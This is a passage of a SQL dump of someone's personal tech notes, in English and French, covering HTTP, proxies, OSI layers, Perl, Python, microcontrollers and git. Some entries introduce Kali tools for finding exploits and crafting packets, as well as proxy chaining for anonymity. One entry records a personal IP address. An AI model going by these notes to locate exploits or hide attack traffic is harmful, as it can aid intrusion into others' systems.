(compatible; Konqueror/2.2-11; Linux) \n			-- this is optional\n		\n		Accept: text/*, image/jpeg, image/png, image/*, */*\n		Accept-Encoding: x-gzip, gzip, identity\n		Accept-Charset: Any, utf-8, *\n		Accept-Language: en, en_US\n		Host: www.silicon-press.com\n			--\n			-- specify the type, language , and encoding\n			-- 	for the returned entity\n			--	that the browser would prefer to receive \n			--	from the server \n	Responding to the browser, the www.site00.com server sends the following response \n		HTTP/1.1 200 OK\n			-- the version of the http used\n			-- 200:	a status code\n			-- OK:	a short description of the status code\n\n		Date: Thu, 24 Jan 2002 17:33:52 GMT\n			-- ifk: this is the datetime when the server send this response\n		Server: Apache/1.3.14\n			-- ifk: information about the web_server\n		Last-Modified: Mon, 21 Jan 2002 22:08:33 GMT\n			-- dunno\n		Etag: “47bc6-25e0-3c4c9161”          ---+\n		Accept-Ranges: bytes                    |    +----------------------------+\n		Content-Length: 9696                 ---+--->|describe the entity returned|\n		Connection: close                       |    +----------------------------+\n		Content-Type: text/html              ---+\n	',NULL,NULL,'2015-01-21 00:11:57'),(414,'#network #http #types_request','\nu should understand the id_n_t: 413 \nGET                                                                          \n	which means that the client require an entity from the server\nHEAD                                                                     \n	used to get back the response header only                            \nPOST                                                                     \n	used to submit data                                                  \nPUT                                                                      \n	used for uploading resource                                          \nPATCH                   \n    Is used to modify the resource                                                 \nDELETE\n	used to delete resource                                              \nTRACE                                                                    \n	This can be used for testing the servers and Checking whether the server is alive or not\nCONNECT                                                                  \n	Convert the transparent TCP/IP tunnel                                \n	usually to facilitate SSL encrypted Communication(HTTPS) through an unencrypted HTTP proxy. \nOPTIONS\n	used to define the requests supported by the servers\n',NULL,NULL,'2015-01-21 00:31:39'),(415,'#browser #architecture #network','\nthe main components are:\n	\n             +--------------+                   +-------+\n             |user_interface+-----+             |d      |\n             +-------+------+     |             |a      |\n                     v            |             |t      |\n            +--------+------+     |             |a      |\n            |browser_engine +--->>>>>>----------+-      |\n            +---------+-----+     |             |p  i  n|\n                      v           |             |e  s  c|\n             +--------+-------+   |             |r  t  e|\n             |rendering_engine|   |             |s  a   |\n             +-+------+-------+   |             +-------+\n               v      v           +-----------------v\n      +--------+-+ +--+-------------------+   +-----+-------+\n      |networking| |javascript_interpreter|   | ui_backend  |\n      +----------+ +----------------------+   +-------------+\n\n\nThe user interface:\n	this includes the address bar, back/forward button,\n	Every part of the browser display except the window where you see the requested page\nThe browser engine:\n	marshals actions between the UI and the rendering engine\n	ifk: before a rendering is made, it has to be parsed by browser_engine\nrendering_engine:\n	 responsible for displaying requested content\n	 For example if the requested content is HTML, the rendering engine parses HTML and CSS, and displays the parsed content on the screen.\nnetworking:\n	using different implementations for different platform behind a platform-independent interface\nUI backend:\n	used for drawing basic widgets like combo boxes and windows.\nJavaScript interpreter.\n	Used to parse and execute JavaScript code\nData storage.\n	This is a persistence layer. The browser may need to save all sorts of data locally, such as cookies\n',NULL,NULL,'2015-01-21 00:54:36'),(416,'#network #proxy #introduction','\n\n\n                        <1>                       <2>\n                  +-----------------v      +----------------+\n                  ^              +--+------+---+            v\n              +---+---+          |+-----------+|          +-+----+\n              | client|          || P R O X Y ||          |server|\n              +-----+-+          ||S E R V E R||          +-+----+\n                    ^            |+-----------+|            v\n                    |            +---+------+--+            |\n                    +----------------+      ^---------------+\n                            <4>                     <3>\n\nthis is an example of web_proxy_server\n\n\n\n\n               <1>: get me sample.html       <2>: get me sample.html\n                      from xyz.com                 from xyz.com\n                  +-----------------v      +----------------+\n                  ^              +--+------+---+            v\n              +---+---+          |+-----------+|          +-+----+\n              | client|          || W  E  B   ||          |server|(xyz.com)\n              +-----+-+          ||P R O X Y  ||          +-+----+\n                    ^            |+-----------+|            v\n                    |            +---+------+--+            |\n                    +----------------+      ^---------------+\n                       <4>: i_ve fetched          <3>: sample.html\n                             sample.html                is here\n                              .take_it.\n\n\n\n',NULL,NULL,'2015-01-21 01:55:24'),(417,'#network #types#proxy','\nhttp://www.gohacking.com/what-is-proxy-server-and-how-it-works/\nthere are 3types of proxies:\n	1. Forward Proxies\n		like in id_n_t=416\n		the server has to _specify_ the resources to be fetched\n			and the server_target to connect to\n\n	2. Open Proxy - has 3 types:\n		+intro:\n			a type of forwarding proxy\n			openly available to any internet_user\n			Most often, an open proxy is used by Internet users to conceal their IP address so that they remain anonymous during their web activity\n		+Anonymous Proxy\n			a type of open proxy that conceals IP address of Internet users so that the target server cannot identify the origin of the requesting client\n			an anonymous proxy identifies itself as a proxy server\n			manages to maintain the anonymity of the users\n		+Distorting Proxy\n			This type of proxy server identifies itself as a proxy, but reveals an incorrect IP address of the client to the target server\n		+High Anonymity Proxy (Elite Proxy)\n			it neither identifies itself as a proxy nor reveals the original IP address of the client\n			In most cases, users have to pay for this type of proxy\n	3. Reverse Proxy\n		a reverse proxy appears to the client as an ordinary server.\n		However, when the client requests resources from this server, it forwards those requests to the target server\n			ifk: rev_proxy forwards the requests of the client to the target_server\n				and give the result from the target_server to the client\n		the client is given an impression that it is connecting to the actual server, but in reality there exists a reverse proxy residing between the client and the actual server\n		ex:\n			when u_re connecting to google, you are only connecting to a reverse proxy\n		this is a bit hard, then it_s not really important to understand all of the rev_proxy at the starting_time\n',NULL,NULL,'2015-01-21 02:31:59'),(418,'myip from#grc.com','41.204.119.10',NULL,NULL,'2015-01-21 02:52:29'),(419,'#network proxy_introduction #advantage','\nProxy servers can also make your Internet access work more efficiently.\n	by __caching__ sites in ur proxy_server\n',NULL,NULL,'2015-01-21 03:06:31'),(420,'#proxychains #intro','When you want two (or more) different proxies in chain\n	like: your_host <--> proxy 1 (TOR) <--> proxy 2 (HTTP or SOCKS4/5) <--> target_host\nYou may need it when the only way out from your LAN is through proxy server\nAnd you want to do that with some app like telnet\nyou can even access your home LAN from outside via reverse proxy if you set it\nUse external DNS from behind any proxy/firewall.\n',NULL,NULL,'2015-01-21 03:33:16'),(421,'#proxychains #conf','\nproxychains looks for config file in following order:\n	1) ./proxychains.conf\n	2) $(HOME)/.proxychains/proxychains.conf\n	3) /etc/proxychains.conf **\nifk: which means ./proxychains.conf can overwrite some conf in /etc/proxychains.conf\n',NULL,NULL,'2015-01-21 03:37:47'),(422,'run proxychains','$ proxychains telnet targethost.com\n  run telnet through proxy(or chained proxies)\nspecified by proxychains.conf',NULL,NULL,'2015-01-21 03:41:26'),(424,'#resolve through #proxychains','$ proxyresolv targethost.com',NULL,NULL,'2015-01-21 03:43:53'),(425,'#squid #conf','/etc/squid/squid.conf',NULL,NULL,'2015-01-21 03:48:15'),(426,'#proxy #squid#server #default_http_port','3128',NULL,NULL,'2015-01-21 04:02:03'),(427,'#definition #gateway','A node on a network that serves as an entrance to another network\nroutes the traffic from a workstation to the outside\n	that is serving web_pages\n\nsometimes, a gateway acts as a proxy_server and a firewall at the same_time\na gateway may be associated with a router\n\ngateway is an earlier term for router\n\nA computer system located on earth that switches data signals and voice signals between satellites and terrestrial networks\n',NULL,NULL,'2015-01-21 04:11:01'),(428,'#definition #mandataire#server','server_mandataire et server_proxy sont les meme ',NULL,NULL,'2015-01-21 05:24:55'),(429,'#definition #passerelle','passerelle et gateway sont les meme ',NULL,NULL,'2015-01-21 05:26:35'),(430,'#definition #dedicated_server','is a type of Internet hosting in which the client leases an entire server not shared with anyone else.',NULL,NULL,'2015-01-21 05:38:41'),(431,'#definition #management #introduction','est un ensemble de techniques d\'organisation mises en œuvre pour l\'administration d\'un système,\nmais ici, il est specialisee pour les entreprises\nrecouvre l_art de diriger les hommes\nIl est presque possible de confondre l\'économie d\'entreprise, le management et la gestion\n  la difference est dans le caractère plus appliqué',NULL,NULL,'2015-01-21 05:58:04'),(432,'#definition#synergie #management','synergie: phénomène par lequel plusieurs acteurs, facteurs ou influences agissant ensemble créent un effet plus grand que la somme des effets attendus s\'ils avaient opéré indépendamment',NULL,NULL,'2015-01-21 05:42:53'),(433,'#definition#gestion #management','gestion: science des décisions stratégiques et tactiques dans les organisations. Cette science permet de déterminer la combinaison la plus satisfaisante en termes de rendement, de productivité et de synergies des moyens matériels et de la ressource humaine dans les organisations',NULL,NULL,'2015-01-21 05:54:38'),(434,'#connaissance_gen #management','Adam Smith partage l_avis de Platon et Henri_Ford',NULL,NULL,'2015-01-21 06:00:35'),(435,'#mysql #notes_tech#query #between',NULL,'\ninsert into notes_tech where id_n_t between last_insert_id() - 10 and last_insert_id() \\G\n',NULL,'2015-01-21 09:28:58'),(436,'#gest_prj #intro','\n\n\n\n                +--------------------------------------------+-----------------------------------------------------+\n                |                                            |                                                     |\n                |                                            |                                                     |\n                |  Apprehender les structures                |                                                     |\n                |  et configuration des equipes              |              Expliquer c_est quoi un projet         |\n                |    en mode projet                          |                                                     |\n                |                                     +------+-------+                                             |\n                +-------------------------------------+-FONDAMENTAUX-+---------------------------------------------+\n                |                                     +------+-------+                                             |\n                |   Comprendre le calcul du                  |                 caractereisee les types du          |\n                |       coût global                          |               projet au sein de l_entreprise        |\n                |                                            |                                                     |\n                +--------------------------------------------+-----------------------------------------------------+\n\n\n\n\n\n\n\n\n',NULL,NULL,'2015-01-21 10:18:18'),(437,'#management#steps #intro','\nEstablish Goals\nIdentify Resources\nEstablish Goal-Related Tasks\n	Each goal should have tasks or projects associated with its achievement\nPrioritize Goals and Tasks\nCreate Assignments and Timelines\nEstablish Evaluation Methods\n	A management planning process should include a strategy for evaluating the progress toward goal completion\nIdentify Alternative Courses of Action\n	Even the best-laid plans can sometimes be thrown off track by unanticipated events. A management plan should include a _contingency_ plan if certain aspects of the master plan prove to be _unattainable_. \n\nhttp://smallbusiness.chron.com/basic-steps-management-planning-process-17646.html\n',NULL,NULL,'2015-01-21 10:26:25'),(438,'#management#steps #intro','\nfive stages for the Strategic Management Process:\n	goal-setting,\n	analysis,\n	strategy formation,\n	strategy implementation and\n	strategy monitoring\n\nhttp://smallbusiness.chron.com/five-stages-strategic-management-process-18785.html\n',NULL,NULL,'2015-01-21 10:31:49'),(439,'#internet #architecture #network','\n\n          webcam-------+    speaker\n                       |       |\n                       |       |      micro\n                       |       |        |\n      encryption       v       v        |\n         |         +----------------+   |\n         |         |                | <-+\n         +-------> |                |\n                   +----------------+\n                                    \n                     \\________________\n                            | |\n                            | |\n            @HOME           | |          @CORPORATION\n                            | |\n     +------+               | |\n     |modem +---------------+ +---------------+\n     +------+                                 |\n       O R                                    v\n     +------+                           +-----------+\n     |custom|                           | netw_card |\n     | card |                           +-----+-----+\n     +---+--+                                 |\n         |                                    v\n         |                              +-------+\n         |                   +--+-----> | L A N |<------+--+\n         |                   +--+       +-------+       +--+\n         |                   \\___          |           \\___\n         |                                  |\n         |                                  +----------+-------------+         +--------+\n         |                                  |          |user_service |         |        |\n         |                                  |          +-------------+<------->+--------+\n         |                                  |          |  dns, mail  |                  \n         |                                  |          |    etc...   |          \\_________\n         |                                  |          +-------------+\n         |                                  +-----+------------+\n         |                                  |     |  firewall  |\n         |                                  |     +------------+\n         +---------------+------------------+\n                         |\n                         |\n        +-------------+--+-----+---------------+--------+\n        |             |        |       +-------+------+ |\n        |             |        |       |electric_power| |\n   +----+------+    +-+-----+  |       |    lines     | |\n   |POTS - DSL | +--+ Cable |  |       +------+-------+ |\n   |leased_line| |  +-------+  |              |         |\n   +-----+-----+ |             |              |  +------+----------+\n         |       |  +----------+----------+   |  | w i r e l e s s |\n         |       |  |  S A T E L L I T E  |   |  +------+----------+\n         |       |  +----------+----------+   |         |  \n         v       v             v              v         v \n         +-------+-------------+--------------+---------+-\n		                       |\n							   |   \n							   |   \n							   |   \n			+---------------------------------------+\n			|   	       ISP_s POP                |\n			+---------------------------------------+\n			|   				                    |\n			|   				                    |\n			+------+--------------------------------+\n				   |    +---------+             +--\n                   |    | +---------+           |  +-----------+\n                   +----+-+  srvr:) |           |  |  D N S    |\n                   |     +---------+-<------->-+  +-----------+\n			       |     \\ ~~____~~           |  |  usenet   |\n				   |	  -----------         |  +-----------+\n				   |	   ------------         |  |   mail    |\n				   |			                |  +-----------+\n				   |			                |  |  .......  |\n				   |			                |  +-----------+\n                   |                            +--                   |\n                   +---------------------+                            |\n                                +-+------+----+-+\n                                |r|           |r|\n                     +----------+++           +-+--+\n                   +-+           | #######         +-----+-+\n              +----+r|           +-#+---+#         |     |r+------large_capacity_of\n              |    +++             #|nap|#         +-+   +++      router_or_switch\n              |     +--+           #+---+#         |r|    |\n              |        |       +-+ #######+-+------+-+    |\n              |        |                 +-+              |\n              |        +----+------------+r+---------+----+------large_capacity_of\n              |             |            +-+         |               circuits\n              |             +-----private_peering----+\n              |      \n              +-------------+\n                   +--------+---------+\n                   |+-------+--------+|\n                   ||hosting_platform||(web_server_platform)\n                   |+----------------+|\n                   +------------------+\n',NULL,NULL,'2015-01-21 17:04:37'),(440,'#tcp_ip#example','\n                                                                                                 +-------------------+\n                                                      _____                                      |+-----------------+|\n                                                     |                                         ||VerestarSatellite||\n                                                     | +----+                                    |+-----------------+|\n                                                     | |____|                                    +-------------------+\n                                                     | |____|  \n                                                     | |    |                   +---------+\n                                                     | |    |                   |IDN-VSAT |\n                             _____                   | |____|                   |  Dish   |          +-----------------+\n                            |                       +----+                   +---------+          |+---------------+|\n                            | +----+                                                                 ||InterpacketDish||\n                            | |____|                  _____    _____                                 |+---------------+|\n              +----+        | |____|                 |      |                                    +-------------+---+\n              |    |        | |    |                 | +----+ | +----+                                             |\n              +----+        | |    |                 | |____| | |____|                                             |\n              \\_____       | |____|                 | |____| | |____|                                             |\n                             +----+                 | |    | | |    |                                             |\n                                                     | |    | | |    |                       _____                 |\n                                                     | |____| | |____|                      |                    |\n                                                      +----+  +----+                      | +----+               v\n                                                                                            | |____|             Internet\n                                                                                            | |____|<----------16hops, all US\n                                                                                            | |    |           MSN, level3 and\n                                                                         Internet           | |    |              Verestar\n                                                                       14hops, all US <-----| |____|  \n                                                                       via Vero and          +----+  \n                                                                           MSN\n                                                                          |\n                                                 _____                    |\n                        internet                |                       |\n     +----------------19hops, all US            | +----+ <----------------+\n     |                via Quest and   <---------| |____| \n     |                  Verio                   | |____| \n     |                                          | |    |geekcorps.org        DNS lookup\n     |                                          | |    |                       process\n     |                                          | |____|                          |\n     v                                           +----+     _____     +----------+\n  _____                internet                             |    ----+\n |                24hops, through              +----------+-+----+             _____\n | +----+           US, UK, China             ___|_         | |____|            |       \n | |____|                       |            |            | |____|            | +----+  \n | |____|           ^           |            | +----+       | |    |            | |____|        +---+\n | |    +-----------+           +----------> | |____|       | |    |            | |____|<------>+---+\n | |    |                                    | |____|       | |____|      +-----+ |    |        \\____\n | |____|                                    | |    |        +----+      |     | |    |  \n  +----+                                    | |    |        +------------+----+| |____|  \n  mail.harvard.edu                           | |____+--------+modem_connection | +----+  \n                                              +----+        |  to_magicnet    |\n                                                             +-----------------+\n\n',NULL,NULL,'2015-01-21 18:25:03'),(441,'#mysql #last#lines #select #limit','to select the last 10 rows in table00\nselect * from table00 where col00 like \'very_common_pattern\' limit 10;',NULL,NULL,'2015-01-22 13:59:04'),(442,'#network #osi#model #layer #protocol #long-list','\nhttp://en.wikipedia.org/wiki/List_of_network_protocols_%28OSI_model%29\n\nOSI_model and the protocols in each layer\n==============================================================================\n==============================================================================\n\nLayer 1 protocols 				(physical Layer)\n	Ethernet physical layer Including\n		10BASE-T, 10BASE2, 10BASE5, 100BASE-TX, 100BASE-FX, 100BASE-T, 1000BASE-T, 1000BASE-SX and other varieties\n	GSM Um air interface physical layer\n	Bluetooth physical layer\n	SONET/SDH\n	IEEE 1394 interface\n	...(check the link)\n	...l1\n\nLayer 2 protocols 				(Data Link Layer)\n	cdp\n	dcap\n	ethernet\n	fddi\n	frame_relay\n	IEEE 802.11 WiFi\n	IEEE 802.16 WiMAX\n	ppp\n	pptp\n	stp\n	vtp\n	vlan\n	token_ring\n	multilink trunking protocol :: mltp\n	Split multi-link trunking Protocol\n	...l2\n\nLayer +3 protocols\n	arp\n	rarp\n	atm\n	frame_relay\n	is-is\n	mpls\n	spb\n	x.25\n	mtp\n	nsp\n	...l+3\n\nLayer 3 protocols 				(Network Layer)\n	egp\n	eigrp\n	igmp\n	igrp\n	ipv4\n	ipv6\n	ipsec\n	ipx\n	Routed-SMLT\n	ospf\n	bgp\n	...l3a\n\nLayer 3.5 protocols\n	hip\n	...l3.5\n\nLayer 3+4 protocol suites\n	tcp/ip\n	ipx/spx\n	Internet Protocol Suite\n	Xerox Network Systems\n	...l3+4\n\nLayer 4 protocols 				(Transport Layer)>\n	tcp\n	udp\n	AH\n	ih\n	sctp\n	spx\n	rtp\n	...l4\n\nLayer 5 protocols 				(Session Layer)\n	SOCKS \n	nfs\n	ncp\n	netbios\n	smb\n	...l5\n\nLayer 6 protocols 				(Presentation Layer)\n	tls\n	mp3\n	mpeg\n	jpeg\n	...l6\n\nLayer 7 protocols 				(Application Layer)\n	bittorrent\n	bgp\n	bootp\n	dns\n	dicom\n	dhcp\n	http\n	https\n	imap\n	irc\n	isup\n	ldap\n	mime\n	msnp\n	map\n	mosh\n	ntp\n	nntp\n	ntcip\n	pop3\n	radius\n	rdp\n	rlogin\n	rsync\n	rtp\n	rtsp\n	ssh\n	sip\n	smtp\n	snmp\n	soap\n	smb\n	stun\n	tup\n	telnet\n	tftp\n	webdav\n	xmpp\n	...l7\n\n',NULL,NULL,'2015-02-03 03:52:27'),(443,'#python #display#var #print',NULL,NULL,'\nstr00=\'val_str00\'\nprint (str00)\n	just to tell you that in python, it very easy\n		not like in bash(echo \"$var00\")\n','2015-01-22 21:01:57'),(444,'#python #intro#var',NULL,NULL,'\nen python les variables ne sont pas typees\n	var00=5\n		var00 will be an integer immediately\n	var00=\'val_str00\'\n		var00 is a string automatically\n','2015-01-22 21:04:06'),(445,'#python #var#string#text',NULL,NULL,'\nle texte suivant sera affichee telle quelle est:\n	var00=\"\"\"\nceci est considere comme un texte\ndonc l_affichage de ceci sera comme ceci\n	\"\"\"\n\nqlq chose n_existe pas:\n	var00=\' one line\n	another line\n	\'\n','2015-01-22 21:07:41'),(447,'#python #affectation #plusieurs#variables',NULL,NULL,'\na = b = 5\n','2015-01-22 21:12:59'),(450,'#check #perl#version','perl -v # cmd_linux',NULL,NULL,'2015-01-22 21:24:06'),(449,'#python #type#variables',NULL,NULL,'\n a = 3\n type(a)\n out:\n 	<class \'int\'>\n\n type(3.4)\n out:\n 	<class \'float\'>\n','2015-01-22 21:15:46'),(451,'#perl #introduction #cmd#linux',NULL,NULL,'\nto run perl from shell of linux\n	perl -w -e \'print(\"hello\");\'\n','2015-01-22 21:32:16'),(452,'#perl #introduction #running',NULL,NULL,'\nedit: perl00.pl\n	add:\n	#!/usr/bin/perl -w	# u get this from: type perl in linux_cmd\n	print(\"this is a test\");\n\nsave it and:\n	chmod +x perl00.pl\n	./perl00.pl\n','2015-01-22 21:51:26'),(453,'#perl #variable#type #introduction #tableau #hachage',NULL,NULL,'\nles variables en perl sont _faiblement_ typee\n	nombres, string, booleens seront consideres comme:: SCALAIRE\n	var type_TABLEAUX: 	var permettant de stocker _plusieurs_ _scalaires_ en les _indiçant_\n	var type_HACHAGE:	var avec cles_valeurs\n		tous les clefs sont uniques\n		precedee de %\n		ex:\n			$var00{key00}\n','2015-01-22 22:01:33'),(454,'#perl #variable#declaration',NULL,NULL,'\nmy $x;\nmy $y = 10;\nmy $z = \"hello\";\n\n$x = $y + 3;\n$prenom = \"Jules\";\n$phrase = \"Bonjour $prenom\";\nprint(\"$phrase\n\");\nprint(\"$x\");\n=============================================\nout:\n	Bonjour Jules\n	13\n','2015-01-22 22:17:56'),(455,'#perl #undef  last#index',NULL,NULL,'\n$var00[0]=0;        --+\n$var00[1]=\"one\";      |   \n$var00[2]=2;          +--so, var00[4] till var00[8] have the value \"undef\"\n$var00[3]=3;          |			which means nothing at all\n$var00[9]=\"nine\";   --+    \n\nto get the last_index of var00\n	$int00=$#var00;\n		int00=9\n	but the number of elts are 10\n','2015-01-22 22:36:39'),(456,'#tool #linux#kali #introduction #ipcalc #wildcard',NULL,NULL,'\nIPcalc est une simple calculatrice IP\npermet de calculer rapidement des petit schéma d\'IP réseau masque etc\n\nsite_officielle\n	http://jodies.de/ipcalc\n\ninstallation:\n	apt-get install ipcalc\n\nutilisation:\n	ipcalc 192.168.1.0/24\nout:\n	Address:   192.168.0.1           11000000.10101000.00000000 .00000001\n	Netmask:   255.255.255.0 = 24    11111111.11111111.11111111 .00000000\n	Wildcard:  0.0.0.255             00000000.00000000.00000000 .11111111\n	=>\n	Network:   192.168.0.0/24        11000000.10101000.00000000 .00000000 (Class C)\n	Broadcast: 192.168.0.255         11000000.10101000.00000000 .11111111\n	HostMin:   192.168.0.1           11000000.10101000.00000000 .00000001\n	HostMax:   192.168.0.254         11000000.10101000.00000000 .11111110\n	Hosts/Net: 254                   (Private Internet)\n\n\nThe wildcard is the inverse netmask as used for access control lists in Cisco routers.\n','2015-01-24 14:54:22'),(457,'#tool #kali #searchsploit #introduction',NULL,NULL,'\nSearchsploit est un script shell qui permet de rechercher dans la base de donnée de exploitdb via un fichier csv mis à jour régulièrement\n\ninstallation:\n	apt-get install exploitdb\n\nusage:\n	syntaxe:\n		searchsploit exploit_name00 sys00 severite_de_d_exploit\n	ex:\n		searchsploit adobe windows local\n\ntu vas avoir des fichiers \n	ex: /windows/local/5479.txt\net cherche le fichier avec:\n	locate /windows/local/5479.txt\n\net lit \n:)\n','2015-01-24 15:09:56'),(458,'#tool #kali #hacking #scapy #intro',NULL,NULL,'\nScapy is a packet manipulation tool than can craft, send, capture and sniff network datagrams (segments, packets and frames)\n\nfor more tutorial:\n	http://ittsm.blogspot.com/2013/06/about-scapy.html\n','2015-01-24 15:21:01'),(461,'#irssi -identify_on#irc',NULL,NULL,'/msg nickserv identify pseudo00 pass00','2015-02-22 11:03:26'),(462,'#irssi -private_msg-pm#irc',NULL,NULL,'/query nick00','2015-02-22 11:03:26'),(463,'#irssi -change-nickname_on#irc',NULL,NULL,'/nick newnick','2015-02-22 11:03:26'),(460,'#tool #kali #hacking #ua-tester #intro',NULL,NULL,'\nconçu pour tester automatiquement une URL donnée en utilisant une liste de la norme standard et non standard d\'user agent fourni par l\'utilisateur (1 par ligne).\nLes résultats de ces contrôles sont ensuite rapportés à l\'utilisateur pour une analyse plus poussée manuelle où automatisée\n\nhttp://www.coyotus.com/viewtopic.php?id=459\n http://blog.c22.cc/toolsscripts/ua-tester/\n','2015-01-24 15:27:47'),(464,'#tcp_ip #models #network #protocols',NULL,NULL,'\nhttp://en.wikipedia.org/wiki/Category:Application_layer_protocols\n	and for more information check in up-right\n-----------------------------------------------------------------\n\nlayers of tcp_ip are:\n	application\n	transport\n	network\n	physic\n\n===============================================================\nthose are some protocols which are in each layer:\n===============================================================\n\napplication\n\n	Secure Shell\n	Client–server model\n	Hypertext Transfer Protocol\n	Inter-Asterisk eXchange\n	Internet Message Access Protocol\n	Internet Relay Chat\n	Ad Hoc Configuration Protocol\n	Bitcoin\n	Lightweight Directory Access Protocol\n	List of web service protocols\n	Mail Transfer Protocol\n	MIME\n	Dynamic Host Configuration Protocol\n	DHCP snooping\n	DHCPv6\n	Domain Name System\n	Network File System\n	Echo Protocol\n	XMPP\n	Gnutella\n	RADIUS\n	HTTP/2\n	Real Time Streaming Protocol\n	XML\n	WebSocket\n	Telnet\n	SOAP\n	Simple Network Management Protocol\n	Simple Mail Transfer Protocol\n	Voice over IP\n	Unix Internet software\n	Protocols related to Internet Relay Chat\n\n\ntransport\n	Error detection and correction\n		has many chapters inside of this section\n	Flow control (data)\n	Network socket\n	Transmission Control Protocol\n	network congestion\n	pptp\n	udp\n\ninternet\n	ipsec\n	Gateway-to-Gateway Protocol\n	ip\n	ipv4\n	ipv6\n	icmpv6\n	igmp\n	Locator/Identifier Separation Protocol\n\nphysic\n	IEEE 802\n	Logical link control\n	Ethernet\n	AX.25\n	ptp\n	rarp\n	Radio Link Protocol\n	R-SMLT\n	Multi-link trunking\n	Fiber Distributed Data Interface	(fddi)\n	ospf\n	Virtual Link Trunking\n\n\n','2015-01-30 23:42:11'),(469,'#5 #microcontroller -intro','\n\nau coeur se trouve l UniteeAritmetik_etLogik (srch(ual, microc)@notes_tech)\n\nsuite id_n_t=471',NULL,NULL,'2015-02-22 11:03:26'),(470,'#5 #microc -accumulateur','\naccumulateur: alimente ual en inserant 1er operande\n	qd resultat fournit par ual, resultat stocker dans accumulateur\n',NULL,NULL,'2015-02-22 11:03:26'),(471,'#5 #microc -ual -intro','\nual: bloque qui realise les operations que microc doit effectuee\n\npossede 2entrees, qui recoivent les var de depart ou operande, (ifk: les 2entrees sont pour des operande, ou 2em operandes est pour le bus des donnees)\nsur la sortie est le resultat de l_operation arithmetik\n\nual met en oeuvre un registre_privilegiee = accumulateur, srch(accumulateur, microc)@notes_tech\n	qui alimente le ual puis ual fournit resultat\n	resultat va etre stocker dans accumulateur\n\ndans ual, il y a sequenceur(srch@notes_tech)\n',NULL,NULL,'2015-02-22 11:03:26'),(472,'#5 #microc -sequenceur','\ntout operations eltr dans ual sont mis en oeuvre par des sequenceurs\nsequenceur:\n	cherche des instructions dans une memo_ext pour les decomposer en\n		gp d_action eltr\n\nle schema suivant est le fonctionnement d_un sequenceur\n\n\n               +------------------------------------------------------------------------+\n               |                                                                        |\n         >>>>>>>>>>>>>+-----------+         -+--------+           +-------+             |\n         >>bus_donnee>|registres  >>>>>>>>>> |poids   |           |       |             |\n               |      |d_instruct >>>>>>>>>> | forts  |           |memo   |             |\n               |      +-----------+          |        |           |ROM    |             |\n               |                             |        |           |       |             |\n               |                             |decodeur|>>>>>>>>>  |micro  |             |\n               |                             |d_@     |>>>>>>>>>  | code  |             |\n               |   +-------+  +--------+     |        |           |       |             |\n               |   |horloge+>>|compteur|>>>>>>poids   |           |       |             |\n               |   +-------+  +--------+     | faibles|           +-+++++++             |\n               |                             +--------+             ||||||              |\n               |                                                    ||||||              |\n               |                                                    ||||||              |\n               |                                                    ||||||              |\n               +----------------------------------------------------||||||--------------+\n                                                                    ||||||\n                                                                    ||||||\n                                                                    |||||+---------------> sg vers cmd\n                                                                    ||||+---------------->  vers ual\n                                                                    |||+----------------->  reg, exterieur\n                                                                    ||+------------------> \n                                                                    |+-------------------> \n                                                                    +--------------------> \n\n\n\n',NULL,NULL,'2015-02-22 11:03:26'),(468,'#5 #microcontroller -intro','\nci logique \nfournit des signaux necessaire a la realisation d_une tache donne\non lui donne ces sg sous forme d_instruction qui lui est comprehensible\n',NULL,NULL,'2015-02-22 11:03:26'),(467,'#network -some_model',NULL,NULL,'\nSystems Network Architecture (SNA-IBM), AppleTalk, Novell Net-ware (IPX/SPX), \n	and the Open System Interconnection (OSI)\nthe most used is:   TCP_IP\n','2015-02-02 17:38:05'),(473,'#microc #5 -definition -sequenceur','\nsequenceur:\n	machine qui stocke les registres\n	ces reg recoit des instru a decoder sous forme binaire\n	possede aussi compteur qui enchaine les _actions eltr_ dans le rom\nla sortie est donnee au ual, registre interne du microp, circ ext du microp\n',NULL,NULL,'2015-02-22 11:03:26'),(474,'#microc microp -shema_de_base','\n\n                                +---------+\n   bus_de   | |           +-----^------+  |\n    donne   | <---------->|accumulateur|  |\n            | |           +------------+  |\n            | |                           |\n            | |                           |\n            | |          +-----+          |\n            | |          |+---+|<---------+\n            | <--------->||ual||\n            | |    ^     |+---+|\n            | |    |     +-----+\n            | |    |      ^^^^^\n            | |    |      |||||\n            | |    |    +-+++++------+\n            | |    |    +-sequenceur |\n            | |    |    +------------+\n            | |    |                           +------------------+\n            | |    +-------------------------->|vers autres microp|\n                                               +------------------+\n\n',NULL,NULL,'2015-02-22 11:03:26'),(475,'#linux -install #bin',NULL,'./file00.bin',NULL,'2015-02-22 11:03:26'),(476,'#cisco #pt #device -ls -router -switch','\nthose are some devices which are used in pt\n\nsw:\n	2950-24\n	2950T\n	2960\n	Generic(Switch-PT)\n	Generic(Switch-PT-Empty)\n	3560-24PS\n	Generic(Bridge-PT)\n\nrouter:\n	1841\n	2620XM\n	2621XM\n	2811\n	Generic(Router-PT)\n	Generic(Router-PT-Empty)\n',NULL,NULL,'2015-02-05 06:55:30'),(477,'#osi -function','\nhttp://www.webopedia.com/quick_ref/OSI_Layers.asp\n\n#physic\ntool:hub\n        _conveys_ the bit_stream through the network and mechanical level\n        deals with hardware\n        \'\n        contient toutes les spécifications électriques, mécaniques pour l\'activation, la maintenance entre le lien physique et le système.\n	Par exemple, les distances de transmission, le voltage, les connecteurs physiques, le type de média\n	\'\n	some_protocols: rs232, atm, fastEthernet	\n\n\n#data_link(3, prot)\ntool:switch\n        encode|decode packets into binaries\n        handles errors from physical_layer\n        provides transmission protocol knowledge\n        \'\n        some_protocols: FDDI, ATM, IEEE 802.5/ 802.2, IEEE 802.3/802.2, HDLC, Frame Relay, PPP\n\n#network(4)\ntool:router\n        release the data of packets\n        provides switching and routing technologies, \n                creating logical paths, known as virtual circuits, for transmitting data from node to node\n        Routing and forwarding are functions of this layer, as well as\n                internetworking\n                congestion_ctrl\n        \'\n        some_protocols: IP, IPX, DDP\n\n#transport(2)\n        responsible for reassembling and reordering the packets\n        It ensures complete data transfer between end-to-end sys\n\n#session(1)\n        conveys how data transmission will be started, finished, controlled\n\n#presentation(1)\n        sets the use of encryption\n        sets the format of data\n\n#application(1)\ntool: proxy\n        deals of setting headers on packet to be sent\n\n',NULL,NULL,'2015-02-22 17:34:42'),(478,'#git -create #repo -init','\ncd /path/somewhere\ngit init\n',NULL,NULL,'2015-02-22 11:03:26'),(479,'#git -get#help','\ngit help cmd00\nex:\n	git help stash\n',NULL,NULL,'2015-02-03 06:36:21'),(484,'#git *reset -hard -delete-commit',NULL,NULL,'\nwhen u do reset -hard\n	ur commit will change \n	-\n	and\n	-\n	ur file will 